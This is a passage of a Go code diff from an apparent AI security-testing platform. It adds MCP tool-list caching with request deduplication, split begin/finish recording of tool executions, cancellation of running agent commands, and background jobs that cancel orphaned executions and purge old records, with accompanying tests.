+	m.listToolsMu.Lock()
+	delete(m.listToolsInflight, name)
+	close(inflight.done)
+	m.listToolsMu.Unlock()
+
+	if inflight.err != nil {
+		m.handleConnectionDead(name, client, inflight.err)
+		return nil, inflight.err
+	}
+	return cloneTools(inflight.tools), nil
+}
+
+// InvalidateToolCache 清除指定外部 MCP 的工具列表缓存（手动刷新时使用）
+func (m *ExternalMCPManager) InvalidateToolCache(name string) {
 	m.toolCacheMu.Lock()
-	m.toolCache[name] = tools
+	delete(m.toolCache, name)
+	m.toolCacheMu.Unlock()
+}
+
+// InvalidateAllToolCaches 清除所有外部 MCP 工具列表缓存
+func (m *ExternalMCPManager) InvalidateAllToolCaches() {
+	m.toolCacheMu.Lock()
+	m.toolCache = make(map[string]toolListCacheEntry)
+	m.toolCacheMu.Unlock()
+}
+
+func (m *ExternalMCPManager) triggerToolListRefresh(name string, client ExternalMCPClient) {
+	go func() {
+		ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
+		defer cancel()
+		_, _ = m.listToolsDeduped(ctx, name, client)
+	}()
+}
+
+// updateToolCache 更新工具列表缓存与工具数量
+func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
+	stored := cloneTools(tools)
+	m.toolCacheMu.Lock()
+	m.toolCache[name] = toolListCacheEntry{tools: stored, updatedAt: time.Now()}
 	m.toolCacheMu.Unlock()
 
-	// 如果返回空列表，记录警告
-	if len(tools) == 0 {
+	m.toolCountsMu.Lock()
+	m.toolCounts[name] = len(stored)
+	m.toolCountsMu.Unlock()
+
+	if len(stored) == 0 {
 		m.logger.Warn("外部MCP返回空工具列表",
 			zap.String("name", name),
 			zap.String("hint", "服务可能暂时不可用，工具列表为空"),
@@ -399,7 +547,7 @@ func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
 	} else {
 		m.logger.Debug("工具列表缓存已更新",
 			zap.String("name", name),
-			zap.Int("count", len(tools)),
+			zap.Int("count", len(stored)),
 		)
 	}
 }
@@ -467,6 +615,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
 
 	// 调用工具
 	result, err := client.CallTool(execCtx, actualToolName, args)
+	if err != nil {
+		m.handleConnectionDead(mcpName, client, err)
+	}
 	cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
 
 	// 更新执行记录
@@ -663,6 +814,23 @@ func (m *ExternalMCPManager) CancelToolExecution(id string) bool {
 	return m.CancelToolExecutionWithNote(id, "")
 }
 
+// ActiveRunningExecutionIDs 返回当前进程内仍登记 cancel 的外部 MCP executionId 快照。
+func (m *ExternalMCPManager) ActiveRunningExecutionIDs() map[string]struct{} {
+	if m == nil {
+		return nil
+	}
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if len(m.runningCancels) == 0 {
+		return nil
+	}
+	out := make(map[string]struct{}, len(m.runningCancels))
+	for id := range m.runningCancels {
+		out[id] = struct{}{}
+	}
+	return out
+}
+
 // updateStats 更新统计信息
 func (m *ExternalMCPManager) updateStats(toolName string, failed bool) {
 	now := time.Now()
@@ -854,28 +1022,27 @@ func (m *ExternalMCPManager) refreshToolCounts() {
 				return
 			}
 
-			// 使用合理的超时时间（15秒），既能应对网络延迟，又不会过长阻塞
-			// 由于这是后台异步刷新，超时不会影响前端响应
+			// 缓存仍新鲜时直接复用，避免与 GetAllTools 重复打远程
+			if _, fresh := m.getFreshCachedTools(n); fresh {
+				m.toolCountsMu.RLock()
+				count := m.toolCounts[n]
+				m.toolCountsMu.RUnlock()
+				resultChan <- countResult{name: n, count: count}
+				return
+			}
+
 			ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
-			tools, err := c.ListTools(ctx)
+			tools, err := m.listToolsDeduped(ctx, n, c)
 			cancel()
 
 			if err != nil {
-				errStr := err.Error()
-				// SSE 连接 EOF：远端可能关闭了流或未按规范在流上推送响应，仅首次用 Warn 提示
-				if strings.Contains(errStr, "EOF") || strings.Contains(errStr, "client is closing") {
-					m.logger.Warn("获取外部MCP工具数量失败（SSE 流已关闭或服务端未在流上返回 tools/list 响应）",
-						zap.String("name", n),
-						zap.String("hint", "若为 SSE 连接，请确认服务端保持 GET 流打开并按 MCP 规范以 event: message 推送 JSON-RPC 响应"),
-						zap.Error(err),
-					)
-				} else {
+				if !isConnectionDeadError(err) {
 					m.logger.Warn("获取外部MCP工具数量失败，请检查连接或服务端 tools/list",
 						zap.String("name", n),
 						zap.Error(err),
 					)
 				}
-				resultChan <- countResult{name: n, count: -1} // -1 表示使用旧值
+				resultChan <- countResult{name: n, count: -1}
 				return
 			}
 
@@ -925,33 +1092,21 @@ func (m *ExternalMCPManager) refreshToolCache(name string, client ExternalMCPCli
 	if !client.IsConnected() {
 		return
 	}
-
-	// 检查状态，如果是error状态，不更新缓存
-	status := client.GetStatus()
-	if status == "error" {
+	if client.GetStatus() == "error" {
 		m.logger.Debug("跳过刷新工具列表缓存（连接失败）",
 			zap.String("name", name),
-			zap.String("status", status),
 		)
 		return
 	}
 
-	// 使用较短的超时时间（5秒）
-	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
 	defer cancel()
-
-	tools, err := client.ListTools(ctx)
-	if err != nil {
+	if _, err := m.listToolsDeduped(ctx, name, client); err != nil {
 		m.logger.Debug("刷新工具列表缓存失败",
 			zap.String("name", name),
 			zap.Error(err),
 		)
-		// 刷新失败时不更新缓存，保留旧缓存（如果有）
-		return
 	}
-
-	// 使用统一的缓存更新方法
-	m.updateToolCache(name, tools)
 }
 
 // startToolCountRefresh 启动后台刷新工具数量的goroutine
@@ -959,7 +1114,7 @@ func (m *ExternalMCPManager) startToolCountRefresh() {
 	m.refreshWg.Add(1)
 	go func() {
 		defer m.refreshWg.Done()
-		ticker := time.NewTicker(10 * time.Second) // 每10秒刷新一次
+		ticker := time.NewTicker(externalToolCountRefreshInterval)
 		defer ticker.Stop()
 
 		// 立即执行一次刷新
@@ -1075,6 +1230,8 @@ func (m *ExternalMCPManager) connectClient(name string, serverCfg config.Externa
 		zap.String("name", name),
 	)
 
+	m.onClientConnected(name)
+
 	// 连接成功，触发工具数量刷新和工具列表缓存刷新
 	m.triggerToolCountRefresh()
 	m.mu.RLock()
@@ -1159,6 +1316,7 @@ func (m *ExternalMCPManager) StopAll() {
 	for name, client := range m.clients {
 		client.Close()
 		delete(m.clients, name)
+		m.clearReconnectState(name)
 	}
 
 	// 清理所有工具数量缓存
@@ -1168,7 +1326,7 @@ func (m *ExternalMCPManager) StopAll() {
 
 	// 清理所有工具列表缓存
 	m.toolCacheMu.Lock()
-	m.toolCache = make(map[string][]Tool)
+	m.toolCache = make(map[string]toolListCacheEntry)
 	m.toolCacheMu.Unlock()
 
 	// 停止后台刷新（使用 select 避免重复关闭 channel）

internal/mcp/run_context.go

@@ -11,7 +11,16 @@ type ToolRunRegistry interface {
 	UnregisterRunningTool(conversationID, executionID string)
 }
 
+// EinoExecuteRunRegistry 登记进行中的 Eino filesystem execute，供「中断并继续」终止 amass 等长命令。
+type EinoExecuteRunRegistry interface {
+	RegisterActiveEinoExecute(conversationID string, cancel context.CancelFunc)
+	UnregisterActiveEinoExecute(conversationID string)
+	AbortActiveEinoExecute(conversationID, note string) bool
+	TakeEinoExecuteAbortNote(conversationID string) string
+}
+
 type toolRunRegistryCtxKey struct{}
+type einoExecuteRunRegistryCtxKey struct{}
 type mcpConversationIDCtxKey struct{}
 
 // WithToolRunRegistry 将登记器注入 ctx（Eino / 原生 Agent 任务 ctx）。
@@ -31,6 +40,23 @@ func ToolRunRegistryFromContext(ctx context.Context) ToolRunRegistry {
 	return v
 }
 
+// WithEinoExecuteRunRegistry 将 Eino execute 取消登记器注入 ctx。
+func WithEinoExecuteRunRegistry(ctx context.Context, reg EinoExecuteRunRegistry) context.Context {
+	if ctx == nil || reg == nil {
+		return ctx
+	}
+	return context.WithValue(ctx, einoExecuteRunRegistryCtxKey{}, reg)
+}
+
+// EinoExecuteRunRegistryFromContext 取出 Eino execute 登记器（无则 nil）。
+func EinoExecuteRunRegistryFromContext(ctx context.Context) EinoExecuteRunRegistry {
+	if ctx == nil {
+		return nil
+	}
+	v, _ := ctx.Value(einoExecuteRunRegistryCtxKey{}).(EinoExecuteRunRegistry)
+	return v
+}
+
 // WithMCPConversationID 将对话 ID 注入 ctx，供 CallTool 内与 executionId 关联。
 func WithMCPConversationID(ctx context.Context, conversationID string) context.Context {
 	if ctx == nil {

internal/mcp/server.go

@@ -21,6 +21,7 @@ import (
 // MonitorStorage 监控数据存储接口
 type MonitorStorage interface {
 	SaveToolExecution(exec *ToolExecution) error
+	UpdateToolExecutionResult(id string, result *ToolResult) error
 	LoadToolExecutions() ([]*ToolExecution, error)
 	GetToolExecution(id string) (*ToolExecution, error)
 	SaveToolStats(toolName string, stats *ToolStats) error
@@ -920,9 +921,8 @@ func (s *Server) CallTool(ctx context.Context, toolName string, args map[string]
 	return finalResult, executionID, nil
 }
 
-// RecordCompletedToolInvocation 将已在其它路径完成的工具调用写入监控存储（格式与 CallTool 结束后一致），
-// 用于 Eino ADK filesystem execute 等未经过 CallTool 的场景；返回 executionId 供助手消息 mcpExecutionIds 关联。
-func (s *Server) RecordCompletedToolInvocation(toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
+// BeginToolExecution 创建 running 状态的执行记录，供 Eino 等非 CallTool 路径在工具开始时落库。
+func (s *Server) BeginToolExecution(toolName string, args map[string]interface{}) string {
 	if s == nil {
 		return ""
 	}
@@ -930,21 +930,73 @@ func (s *Server) RecordCompletedToolInvocation(toolName string, args map[string]
 		args = map[string]interface{}{}
 	}
 	executionID := uuid.New().String()
-	now := time.Now()
-	failed := invokeErr != nil
-	exec := &ToolExecution{
+	execution := &ToolExecution{
 		ID:        executionID,
 		ToolName:  toolName,
 		Arguments: args,
-		StartTime: now,
-		EndTime:   &now,
-		Duration:  0,
+		Status:    "running",
+		StartTime: time.Now(),
 	}
+
+	s.mu.Lock()
+	s.executions[executionID] = execution
+	s.cleanupOldExecutions()
+	s.mu.Unlock()
+
+	if s.storage != nil {
+		if err := s.storage.SaveToolExecution(execution); err != nil {
+			s.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
+		}
+	}
+	return executionID
+}
+
+// FinishToolExecution 完成先前 BeginToolExecution 创建的记录；executionID 为空时等同 RecordCompletedToolInvocation。
+func (s *Server) FinishToolExecution(executionID, toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
+	if s == nil {
+		return ""
+	}
+	if args == nil {
+		args = map[string]interface{}{}
+	}
+	id := strings.TrimSpace(executionID)
+	if id == "" {
+		return s.RecordCompletedToolInvocation(toolName, args, resultText, invokeErr)
+	}
+
+	now := time.Now()
+	failed := invokeErr != nil
+	var finalResult *ToolResult
+
+	s.mu.Lock()
+	exec, inMem := s.executions[id]
+	if !inMem || exec == nil {
+		exec = &ToolExecution{
+			ID:        id,
+			ToolName:  toolName,
+			Arguments: args,
+			StartTime: now,
+		}
+		s.executions[id] = exec
+	} else if toolName != "" {
+		exec.ToolName = toolName
+	}
+	if len(args) > 0 {
+		exec.Arguments = args
+	}
+	exec.EndTime = &now
+	if exec.StartTime.IsZero() {
+		exec.StartTime = now
+	}
+	exec.Duration = now.Sub(exec.StartTime)
+
 	if failed {
-		exec.Status = "failed"
-		exec.Error = invokeErr.Error()
+		st, msg := executionStatusAndMessage(invokeErr)
+		exec.Status = st
+		exec.Error = msg
 		if strings.TrimSpace(resultText) != "" {
-			exec.Result = &ToolResult{Content: []Content{{Type: "text", Text: resultText}}}
+			finalResult = &ToolResult{Content: []Content{{Type: "text", Text: resultText}}}
+			exec.Result = finalResult
 		}
 	} else {
 		exec.Status = "completed"
@@ -952,15 +1004,51 @@ func (s *Server) RecordCompletedToolInvocation(toolName string, args map[string]
 		if strings.TrimSpace(text) == "" {
 			text = "（无输出）"
 		}
-		exec.Result = &ToolResult{Content: []Content{{Type: "text", Text: text}}}
+		finalResult = &ToolResult{Content: []Content{{Type: "text", Text: text}}}
+		exec.Result = finalResult
 	}
+	s.mu.Unlock()
+
 	if s.storage != nil {
 		if err := s.storage.SaveToolExecution(exec); err != nil {
-			s.logger.Warn("RecordCompletedToolInvocation 保存失败", zap.Error(err))
+			s.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
 		}
 	}
-	s.updateStats(toolName, failed)
-	return executionID
+
+	s.updateStats(exec.ToolName, failed)
+
+	if s.storage != nil {
+		s.mu.Lock()
+		delete(s.executions, id)
+		s.mu.Unlock()
+	}
+	return id
+}
+
+// RecordCompletedToolInvocation 将已在其它路径完成的工具调用写入监控存储（格式与 CallTool 结束后一致），
+// 用于 Eino ADK filesystem execute 等未经过 CallTool 的场景；返回 executionId 供助手消息 mcpExecutionIds 关联。
+func (s *Server) RecordCompletedToolInvocation(toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
+	return s.FinishToolExecution("", toolName, args, resultText, invokeErr)
+}
+
+// UpdateToolExecutionResult 将监控库中的工具结果更新为送入模型的展示正文（如 reduction 后的 persisted-output）。
+func (s *Server) UpdateToolExecutionResult(executionID string, result *ToolResult) error {
+	if s == nil {
+		return nil
+	}
+	executionID = strings.TrimSpace(executionID)
+	if executionID == "" || result == nil {
+		return nil
+	}
+	s.mu.Lock()
+	if exec, ok := s.executions[executionID]; ok && exec != nil {
+		exec.Result = result
+	}
+	s.mu.Unlock()
+	if s.storage != nil {
+		return s.storage.UpdateToolExecutionResult(executionID, result)
+	}
+	return nil
 }
 
 // cleanupOldExecutions 清理旧的执行记录，防止内存无限增长
@@ -1082,6 +1170,23 @@ func (s *Server) CancelToolExecution(id string) bool {
 	return s.CancelToolExecutionWithNote(id, "")
 }
 
+// ActiveRunningExecutionIDs 返回当前进程内仍登记 cancel 的 executionId 快照。
+func (s *Server) ActiveRunningExecutionIDs() map[string]struct{} {
+	if s == nil {
+		return nil
+	}
+	s.runningCancelsMu.Lock()
+	defer s.runningCancelsMu.Unlock()
+	if len(s.runningCancels) == 0 {
+		return nil
+	}
+	out := make(map[string]struct{}, len(s.runningCancels))
+	for id := range s.runningCancels {
+		out[id] = struct{}{}
+	}
+	return out
+}
+
 // initDefaultPrompts 初始化默认提示词模板
 func (s *Server) initDefaultPrompts() {
 	s.mu.Lock()

internal/mcp/types.go

@@ -199,6 +199,8 @@ type ToolExecution struct {
 	StartTime time.Time              `json:"startTime"`
 	EndTime   *time.Time             `json:"endTime,omitempty"`
 	Duration  time.Duration          `json:"duration,omitempty"`
+	// ConversationID 仅 API 展示用（进行中的 Agent 任务），不写入 tool_executions 表。
+	ConversationID string `json:"conversationId,omitempty"`
 }
 
 // ToolStats 工具统计信息

internal/monitor/reconcile.go

@@ -0,0 +1,101 @@
+package monitor
+
+import (
+	"time"
+
+	"cyberstrike-ai/internal/database"
+	"cyberstrike-ai/internal/mcp"
+
+	"go.uber.org/zap"
+)
+
+const (
+	staleRunningMinAge       = 45 * time.Second
+	staleRunningReconcileGap = 2 * time.Minute
+)
+
+// ExecutionReconciler 在启动或运行期将无对应协程的 running 执行记录收尾为 cancelled。
+type ExecutionReconciler struct {
+	db          *database.DB
+	mcpServer   *mcp.Server
+	externalMgr *mcp.ExternalMCPManager
+	logger      *zap.Logger
+}
+
+// NewExecutionReconciler creates a reconciler for orphaned MCP tool executions.
+func NewExecutionReconciler(db *database.DB, mcpServer *mcp.Server, externalMgr *mcp.ExternalMCPManager, logger *zap.Logger) *ExecutionReconciler {
+	return &ExecutionReconciler{
+		db:          db,
+		mcpServer:   mcpServer,
+		externalMgr: externalMgr,
+		logger:      logger,
+	}
+}
+
+// ReconcileOnStartup marks every persisted running row as cancelled (safe right after process start).
+func (r *ExecutionReconciler) ReconcileOnStartup() {
+	if r == nil || r.db == nil {
+		return
+	}
+	now := time.Now()
+	n, err := r.db.CancelOrphanedRunningToolExecutions(now, "执行已中断（服务重启）")
+	if err != nil {
+		if r.logger != nil {
+			r.logger.Warn("启动时清理孤儿 running 工具执行记录失败", zap.Error(err))
+		}
+		return
+	}
+	if n > 0 && r.logger != nil {
+		r.logger.Info("启动时已收尾孤儿 running 工具执行记录", zap.Int64("count", n))
+	}
+}
+
+func (r *ExecutionReconciler) activeExecutionIDs() map[string]struct{} {
+	ids := make(map[string]struct{})
+	if r.mcpServer != nil {
+		for id := range r.mcpServer.ActiveRunningExecutionIDs() {
+			ids[id] = struct{}{}
+		}
+	}
+	if r.externalMgr != nil {
+		for id := range r.externalMgr.ActiveRunningExecutionIDs() {
+			ids[id] = struct{}{}
+		}
+	}
+	return ids
+}
+
+// ReconcileStaleRunning finalizes running rows that are not tracked in-memory and older than staleRunningMinAge.
+func (r *ExecutionReconciler) ReconcileStaleRunning() {
+	if r == nil || r.db == nil {
+		return
+	}
+	now := time.Now()
+	n, err := r.db.FinalizeStaleRunningToolExecutions(now, staleRunningMinAge, r.activeExecutionIDs(), "执行已中断（会话已结束）")
+	if err != nil {
+		if r.logger != nil {
+			r.logger.Warn("定期收尾 stale running 工具执行记录失败", zap.Error(err))
+		}
+		return
+	}
+	if n > 0 && r.logger != nil {
+		r.logger.Info("已收尾 stale running 工具执行记录", zap.Int64("count", n))
+	}
+}
+
+// StartStaleRunningReconcileLoop periodically reconciles orphaned running tool executions.
+func StartStaleRunningReconcileLoop(r *ExecutionReconciler, logger *zap.Logger) {
+	if r == nil {
+		return
+	}
+	go func() {
+		ticker := time.NewTicker(staleRunningReconcileGap)
+		defer ticker.Stop()
+		for range ticker.C {
+			r.ReconcileStaleRunning()
+			if logger != nil {
+				logger.Debug("monitor stale running reconcile tick completed")
+			}
+		}
+	}()
+}

internal/monitor/reconcile_test.go

@@ -0,0 +1,38 @@
+package monitor
+
+import (
+	"path/filepath"
+	"testing"
+	"time"
+
+	"cyberstrike-ai/internal/database"
+	"cyberstrike-ai/internal/mcp"
+
+	"go.uber.org/zap"
+)
+
+func TestExecutionReconciler_ReconcileOnStartup(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "monitor.db")
+	db, err := database.NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	if err := db.SaveToolExecution(&mcp.ToolExecution{
+		ID: "run-1", ToolName: "hydra", Status: "running", StartTime: time.Now().Add(-time.Hour),
+	}); err != nil {
+		t.Fatalf("SaveToolExecution: %v", err)
+	}
+
+	r := NewExecutionReconciler(db, mcp.NewServer(zap.NewNop()), nil, zap.NewNop())
+	r.ReconcileOnStartup()
+
+	got, err := db.GetToolExecution("run-1")
+	if err != nil {
+		t.Fatalf("GetToolExecution: %v", err)
+	}
+	if got.Status != "cancelled" {
+		t.Fatalf("expected cancelled after startup reconcile, got %s", got.Status)
+	}
+}

internal/monitor/retention.go

@@ -0,0 +1,71 @@
+package monitor
+
+import (
+	"time"
+
+	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
+
+	"go.uber.org/zap"
+)
+
+const retentionPurgeInterval = time.Hour
+
+// Service manages MCP tool execution monitor retention.
+type Service struct {
+	db     *database.DB
+	cfg    *config.Config
+	logger *zap.Logger
+}
+
+// NewService creates a monitor retention service.
+func NewService(db *database.DB, cfg *config.Config, logger *zap.Logger) *Service {
+	return &Service{db: db, cfg: cfg, logger: logger}
+}
+
+// RetentionDays returns configured retention; 0 means keep forever.
+func (s *Service) RetentionDays() int {
+	if s == nil || s.cfg == nil {
+		return config.MonitorConfig{}.RetentionDaysEffective()
+	}
+	return s.cfg.Monitor.RetentionDaysEffective()
+}
+
+// PurgeExpired deletes tool execution rows older than retention_days when configured.
+func (s *Service) PurgeExpired() {
+	if s == nil || s.db == nil || s.cfg == nil {
+		return
+	}
+	days := s.cfg.Monitor.RetentionDaysEffective()
+	if days <= 0 {
+		return
+	}
+	cutoff := time.Now().AddDate(0, 0, -days)
+	n, err := s.db.PurgeToolExecutionsBefore(cutoff)
+	if err != nil {
+		if s.logger != nil {
+			s.logger.Warn("清理过期 MCP 执行记录失败", zap.Error(err))
+		}
+		return
+	}
+	if n > 0 && s.logger != nil {
+		s.logger.Info("已清理过期 MCP 执行记录", zap.Int64("deleted", n), zap.Int("retention_days", days))
+	}
+}
+
+// StartRetentionLoop periodically purges expired tool execution rows.
+func StartRetentionLoop(s *Service, logger *zap.Logger) {
+	if s == nil {
+		return
+	}
+	go func() {
+		ticker := time.NewTicker(retentionPurgeInterval)
+		defer ticker.Stop()
+		for range ticker.C {
+			s.PurgeExpired()
+			if logger != nil {
+				logger.Debug("monitor retention tick completed")
+			}
+		}
+	}()
+}

internal/monitor/retention_test.go

@@ -0,0 +1,94 @@
+package monitor
+
+import (
+	"path/filepath"
+	"testing"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
+	"cyberstrike-ai/internal/mcp"
+
+	"go.uber.org/zap"
+)
+
+func TestServicePurgeExpired_respectsZeroRetention(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "monitor.db")
+	db, err := database.NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	exec := &mcp.ToolExecution{
+		ID:        "ancient",
+		ToolName:  "curl::get",
+		Arguments: map[string]interface{}{},
+		Status:    "completed",
+		StartTime: mustParseTime(t, "2020-01-01T00:00:00Z"),
+	}
+	if err := db.SaveToolExecution(exec); err != nil {
+		t.Fatalf("SaveToolExecution: %v", err)
+	}
+
+	zero := 0
+	svc := NewService(db, &config.Config{
+		Monitor: config.MonitorConfig{RetentionDays: &zero},
+	}, zap.NewNop())
+	svc.PurgeExpired()
+
+	if _, err := db.GetToolExecution("ancient"); err != nil {
+		t.Fatalf("record should remain when retention_days=0: %v", err)
+	}
+}
+
+func TestServicePurgeExpired_deletesOldRows(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "monitor.db")
+	db, err := database.NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	exec := &mcp.ToolExecution{
+		ID:        "ancient",
+		ToolName:  "curl::get",
+		Arguments: map[string]interface{}{},
+		Status:    "completed",
+		StartTime: mustParseTime(t, "2020-01-01T00:00:00Z"),
+	}
+	if err := db.SaveToolExecution(exec); err != nil {
+		t.Fatalf("SaveToolExecution: %v", err)
+	}
+
+	days := 90
+	svc := NewService(db, &config.Config{
+		Monitor: config.MonitorConfig{RetentionDays: &days},
+	}, zap.NewNop())
+	svc.PurgeExpired()
+
+	if _, err := db.GetToolExecution("ancient"); err == nil {
+		t.Fatal("record should be purged when older than retention_days")
+	}
+}
+
+func TestRetentionDaysEffective_defaults(t *testing.T) {
+	got := config.MonitorConfig{}.RetentionDaysEffective()
+	if got != 90 {
+		t.Fatalf("default = %d, want 90", got)
+	}
+	zero := 0
+	cfg := config.MonitorConfig{RetentionDays: &zero}
+	if cfg.RetentionDaysEffective() != 0 {
+		t.Fatalf("zero = %d, want 0", cfg.RetentionDaysEffective())
+	}
+}
+
+func mustParseTime(t *testing.T, value string) time.Time {
+	t.Helper()
+	parsed, err := time.Parse(time.RFC3339, value)
+	if err != nil {
+		t.Fatalf("parse time: %v", err)
+	}
+	return parsed
+}